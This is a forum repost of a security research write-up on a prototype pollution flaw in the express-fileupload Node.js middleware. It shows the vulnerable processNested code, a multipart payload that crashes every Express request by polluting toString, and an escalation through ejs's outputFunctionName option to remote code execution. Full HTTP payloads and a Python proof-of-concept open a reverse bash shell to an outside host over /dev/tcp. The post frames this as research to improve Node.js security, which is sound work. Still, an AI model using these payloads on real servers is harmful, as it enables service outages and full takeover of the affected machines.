Jump to content
Sign in to follow this  
Nytro

Real-world JS 1

Recommended Posts

Real-world JS 1

Real-world JS Vulnerabilities Series 1

express-fileupload

JavaScript Vulnerabilities (prototype pollution, redos, type confusion etc) is a popular topic in recent security competition such as CTFs
But, there seems to be a lack of real-world research for them, so I started research to find it and share data.

This research aims to improve the nodejs ecosystem security level.

image-20200729093633030

This vulnerability is in the first case about the express-fileupload.
As shown in the name, this module provide file upload function as express middleware

image-20200729093731270

Until today, this express-fileupload has been downloaded a total of 7,193,433 times.

image-20200729094135815

The express-fileupload module provides several options for uploading and managing files in the nodejs application.
Among them, the parseNested make argument flatten.

Therefore, if we provide {"a.b.c": true} as an input,
Internally, It will used as {"a": {"b": {"c": true}}}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
busboy.on('finish', () => {
    debugLog(options, `Busboy finished parsing request.`);
    if (options.parseNested) {
        req.body = processNested(req.body);
        req.files = processNested(req.files);
    }

    if (!req[waitFlushProperty]) return next();
    Promise.all(req[waitFlushProperty])
        .then(() => {
        delete req[waitFlushProperty];
        next();
    }).catch(err => {
        delete req[waitFlushProperty];
        debugLog(options, `Error while waiting files flush: ${err}`);
        next(err);
    });
});

So, if options.parseNested has a value. If calls processNested Function, and argument will be req.body and req.files.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function processNested(data){
    if (!data || data.length < 1) return {};

    let d = {},
        keys = Object.keys(data);

    for (let i = 0; i < keys.length; i++) {
        let key = keys[i],
            value = data[key],
            current = d,
            keyParts = key
        .replace(new RegExp(/\[/g), '.')
        .replace(new RegExp(/\]/g), '')
        .split('.');

        for (let index = 0; index < keyParts.length; index++){
            let k = keyParts[index];
            if (index >= keyParts.length - 1){
                current[k] = value;
            } else {
                if (!current[k]) current[k] = !isNaN(keyParts[index + 1]) ? [] : {};
                current = current[k];
            }
        }
    }

    return d;
};

The above is the full source of the processNested function.
Here provides flatten function for key, of req.files.

It split the key value of the first argument of object obtained through Object.keys(data) by .
and makes loop using that, and refers/define object repeatedly.

1
2
3
4
let some_obj = JSON.parse(`{"__proto__.polluted": true}`);
processNested(some_obj);

console.log(polluted); // true!

In this function, prototype pollution vulnerability is caused by the above usage.
Therefore, if we can put manufactured objects in this function, it can affect the express web application.

1
2
3
4
5
6
7
8
9
10
11
const express = require('express');
const fileUpload = require('express-fileupload');
const app = express();

app.use(fileUpload({ parseNested: true }));

app.get('/', (req, res) => {
    res.end('express-fileupload poc');
});

app.listen(7777)

Therefore, configure and run the express server using express-fileupload in the above form.

1
2
3
4
5
6
7
8
9
POST / HTTP/1.1
Content-Type: multipart/form-data; boundary=--------1566035451
Content-Length: 123

----------1566035451
Content-Disposition: form-data; name="name"; filename="filename"

content
----------1566035451--

And I send the above POST request.

image-20200729100022061

Then we can confirm that the some object is given as the argument of processNested function. (I added code for debug)

1
2
3
4
5
6
7
8
9
POST / HTTP/1.1
Content-Type: multipart/form-data; boundary=--------1566035451
Content-Length: 137

----------1566035451
Content-Disposition: form-data; name="__proto__.toString"; filename="filename"

content
----------1566035451--

Let’s try prototype pollution
If we send this with the name changed to __proto__.toString.

image-20200729100528922

An object with the key __proto__.toString is created and call processNested function.
and pollute toString method of Object.prototype.
And from the moment this value is covered with a object that is not a function.
The express application makes error for every request !

1
2
3
var isRegExp = function isRegExp(obj) {
    return Object.prototype.toString.call(obj) === '[object RegExp]';
};

In the qs module used within the express, location.search part of the HTTP request will be parsed and make it to req.query object.
In that logic, qs uses Object.prototype.toString.
Therefore, this function called for every request in the express application (even if there is no search part)
If Object.prototype.toString can be polluted, this will cause an error.
and for every request, express always returns 500 error.

1
2
3
import requests

res = requests.post('http://p6.is:7777', files = {'__proto__.toString': 'express-fileupload poc'});

Actually, if we use script above to pollute the prototype of server

image-20200729101543292

For all requests, the server returns either these error messages (development mode)
or only a blank screen and 500 Internal Server Error! 😮

How to get shell?

We can already make a DOS, but everyone wants a shell.
So, I’ll describe one way to acquire shell through the vulnerability above.

image-20200729102550071

The simplest way to obtain shell through prototype solution in the express application is by using the ejs.
Yes, There is a limitation to whether the application should be using the ejs template engine

image-20200729102347702

But the EJS is the most popular template engine for the nodejs
and also used very often in combination with the express.

If this vulnerability exists, you can bet on this. (no guaranteed 😏)

1
2
3
4
5
6
7
8
9
10
11
12
const express = require('express');
const fileUpload = require('express-fileupload');
const app = express();

app.use(fileUpload({ parseNested: true }));

app.get('/', (req, res) => {
    console.log(Object.prototype.polluted);
    res.render('index.ejs');
});

app.listen(7777);

The above is an example of using the ejs module.
There was only one line change in replacing the rendering engine.

Because the parseNested option is still active, we can still pollute prototype.
Unlike the above here, I will use req.body object.

Because we can manipulated the value of that as string.

1
2
3
4
5
6
7
8
9
POST / HTTP/1.1
Content-Type: multipart/form-data; boundary=--------1566035451
Content-Length: 137

----------1566035451
Content-Disposition: form-data; name="__proto__.polluted";

content
----------1566035451--

Similar with above, but the filenameof Content-Disposition has been deleted.
Then the value will go to req.body not req.files.

image-20200729103038537)image-20200729103132948

By checking the values that enter the processNested function
You can see that the values that were previously objects is now string.

pollution happens the same as before.

1
2
3
4
5
6
7
8
9
10
function Template(text, opts) {
  opts = opts || {};
  var options = {};
  this.templateText = text;
  /** @type {string | null} */
  ...
  options.outputFunctionName = opts.outputFunctionName;
  options.localsName = opts.localsName || exports.localsName || _DEFAULT_LOCALS_NAME;
  options.views = opts.views;
  options.async = opts.async;

The target value to pollute is the outputFunctionName, which is an option in the ejs rendering function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
compile: function () {
  /** @type {string} */
  var src;
  /** @type {ClientFunction} */
  var fn;
  var opts = this.opts;
  var prepended = '';
  var appended = '';
  /** @type {EscapeCallback} */
  var escapeFn = opts.escapeFunction;
  /** @type {FunctionConstructor} */
  var ctor;

  if (!this.source) {
    this.generateSource();
    prepended +=
      '  var __output = "";\n' +
      '  function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
    if (opts.outputFunctionName) {
      prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
    }
    if (opts.destructuredLocals && opts.destructuredLocals.length) {
      var destructuring = '  var __locals = (' + opts.localsName + ' || {}),\n';
      for (var i = 0; i < opts.destructuredLocals.length; i++) {
        var name = opts.destructuredLocals[i];
        if (i > 0) {
          destructuring += ',\n  ';
        }
        destructuring += name + ' = __locals.' + name;
      }
      prepended += destructuring + ';\n';
    }
    if (opts._with !== false) {
      prepended +=  '  with (' + opts.localsName + ' || {}) {' + '\n';
      appended += '  }' + '\n';
    }
    appended += '  return __output;' + '\n';
    this.source = prepended + this.source + appended;
  }

The ejs makes Function for implement their template and executing
and the outputFunctionName option used in the process is included in the function.

Therefore, if we can manipulate this value, any command can be executed.

This technique was introduced by a Chinese CTF in 2019.
Please refer to here for details.

That part has not been patched so far, and it is expected to remain in the future.
So we can take advantage of it.

1
2
3
4
5
6
7
8
9
POST / HTTP/1.1
Content-Type: multipart/form-data; boundary=--------1566035451
Content-Length: 221

----------1566035451
Content-Disposition: form-data; name="__proto__.outputFunctionName";

x;process.mainModule.require('child_process').exec('bash -c "bash -i &> /dev/tcp/p6.is/8888 0>&1"');x
----------1566035451--

So first, we’re going to pollute the Object.prototype.outputFunctionName using the prototype pollution.

1
2
GET / HTTP/1.1
Host: p6.is:7777

and calls template function of ejs.

image-20200729104502663

Then we can get the shell !
If all the process can be represented by python:

1
2
3
4
5
6
7
8
9
10
import requests

cmd = 'bash -c "bash -i &> /dev/tcp/p6.is/8888 0>&1"'

# pollute
requests.post('http://p6.is:7777', files = {'__proto__.outputFunctionName': (
    None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})

# execute command
requests.get('http://p6.is:7777')

Reference

 

Sursa: https://blog.p6.is/Real-World-JS-1/

Share this post


Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Sign in to follow this  

×
×
  • Create New...